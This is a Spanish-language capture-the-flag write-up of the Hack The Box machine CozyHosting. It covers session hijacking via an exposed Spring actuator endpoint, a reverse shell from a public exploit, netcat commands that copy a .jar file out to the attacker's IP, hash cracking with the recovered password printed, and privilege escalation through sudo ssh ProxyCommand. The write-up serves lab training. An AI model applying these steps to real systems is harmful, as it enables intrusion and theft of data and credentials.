Page cover

🟢CozyHosting

En esta ocasión vamos a hacer el writeup de la máquina CozyHosting de Hack the Box, una máquina Linux de dificultad easy.

Primer acceso

Accedemos a la IP 10.10.11.230 a través del navegador. Está bloqueado, a si que añadimos el host a nuestro /etc/hosts:

sudo nano /etc/hosts

Ahora ya se muestra la web en el navegador:

A primera vista parece una web con servicios de hosting. No tiene ninguna acción aparte del botón de login. En el código fuente no encontramos ningún dato relevante.

Escaneo con Nmap

NMAP Puertos abiertos:

Fuzzing

Al fuzzear con gobuster o ffuf no encontramos ningún directorio interesante, así que vamos a probar a hacer fuzzing con dirsearch

Nos devuelve:

  • Hay un directorio sospechoso: /actuator

  • Al acceder al directorio nos encontramos varios apartados:

  • Al acceder a /actuator/sessions tenemos un nombre de usuario 'kanderson' y cookies de sesión asociadas:

Desde el navegador cambiamos la cookie de sesión en inspect/storage, y accedemos sin usuario ni contraseña a /admin.

En este panel no hay muchas cosas interesantes o que podamos hacer.

Exploit

Buscando en internet encontramos un exploit para esta máquina:

Creamos un archivo cozy.py con el siguiente script:

Abrimos un listener de netcat y ejecutamos cozy.py, dándole como argumentos la IP y el puerto de netcat:

Esto nos devuelve una shell a netcat.

Al acceder al directorio home nos encontramos el nombre de usuario 'josh', pero no nos deja acceder.

En el directorio principal hay un archivo .jar que vamos a descargar por netcat:

  • En el server: nc 10.10.14.202 1234 < cloudhosting-0.0.1.jar

  • En nuestro kali: nc -l -p 1234 > cloudhosting-0.0.1.jar

Descomprimimos el zip o lo abrimos con JDec

En el archivo application.properties encontramos el usuario y contraseña de la base de datos:

Nos conectamos a la base de datos desde la shell del server:

Ya estamos dentro de la base de datos. Vamos a enumerar las bases de datos disponibles y su información en busca de usuarios y contraseñas:

Encontramos usuarios y contraseñas en formato hash:

Cracking

Vamos a crackear los hashes para obtener las contraseñas en plano:

La contraseña es: manchesterunited

Nos conectamos por SSH con el usuario josh (que encontramos antes) y esta contraseña:

Obtenemos el user.txt:

Escalada de privilegios

Vamos a ver los permisos que tenemos en la máquina:

Consultamos GTFOBins para ver los binarios disponibles:

  • Encontramos una shell interactiva a través de ProxyCommand.

Nos movemos al directorio /usr/bin:

  • Ejecutamos lo siguiente:

  • Seguido de:

Ya somos root 😎

Obtenemos el root.txt:

Última actualización

¿Te fue útil?